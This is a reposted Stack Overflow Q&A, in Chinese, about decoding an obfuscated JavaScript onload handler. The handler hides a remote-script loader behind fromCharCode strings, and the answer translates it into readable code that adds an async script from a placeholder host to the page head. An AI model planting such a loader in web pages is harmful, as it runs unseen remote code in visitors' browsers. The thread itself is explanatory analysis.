gpt4 book ai didi

JavaScript onload() 函数

转载 作者:行者123 更新时间:2023-12-02 22:37:08 26 4
gpt4 key购买 nike

我发现以下代码很难解释:

onload="
str1 = new String();
link = 'some link';
id = 'myid';
_q385310452924= (document[String[fromCharCode](108,111,99,97,116,105,111,110)][String[fromCharCode](112,114,111,116,111,99,111,108)]==String[fromCharCode](104,116,116,112,115,58))?String[fromCharCode](104,116,116,112,115,58,47,47):String[fromCharCode](104,116,116,112,58,47,47);
_q319711340400=document[String[fromCharCode](99,114,101,97,116,101,69,108,101,109,101,110,116)](String[fromCharCode](115,99,114,105,112,116));
_q319711340400[String[fromCharCode](116,121,112,101)]=String[fromCharCode](116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);
_q319711340400[String[fromCharCode](97,115,121,110,99)] = String[fromCharCode](116,114,117,101);
_q319711340400[String[fromCharCode](115,114,99)]=new Array(_q385310452924,link,String[fromCharCode](47,76,47,63,105,100,61),id).join(str1);
if(document[String[fromCharCode](103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101)](String[fromCharCode](104,101,97,100))[0]){document[String[fromCharCode](103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101)](String[fromCharCode](104,101,97,100))[0][String[fromCharCode](97,112,112,101,110,100,67,104,105,108,100)](_q319711340400)}"

我已将所有 fromCharCode(-,-,-) 转换为真实单词,但我不理解 javascript 代码。如果有人能指导我如何解释代码,我将不胜感激。谢谢

最佳答案

哇,这是一些令人讨厌的丑陋代码......

首先,这个脚本真的有效吗?

如果它有效,它应该像这样工作:

/* protocol */ _q385310452924 = document.location.protocol == "https" ? "https://" : "http://";
/* script */ _q319711340400 = document.createElement("script");
/* script */ _q319711340400.type = "text/javascript";
/* script */ _q319711340400.async = "true";
/* script */ _q319711340400.src = new Array(_q385310452924 /* protocol */,
link,
"/L/?id=",
id).join(str1);
if (document.getElementsByTagName("head")[0]) {
document.getElementsByTagName("head")[0].appendChild(_q319711340400);
}

所以基本上,它所做的就是检查协议(protocol),创建一个新的异步加载脚本,其 src="http(s)://[link]/L/?id=[id]"并将其添加到<head> html 的标签,如果 <head>标签存在。

关于JavaScript onload() 函数,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/58705522/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com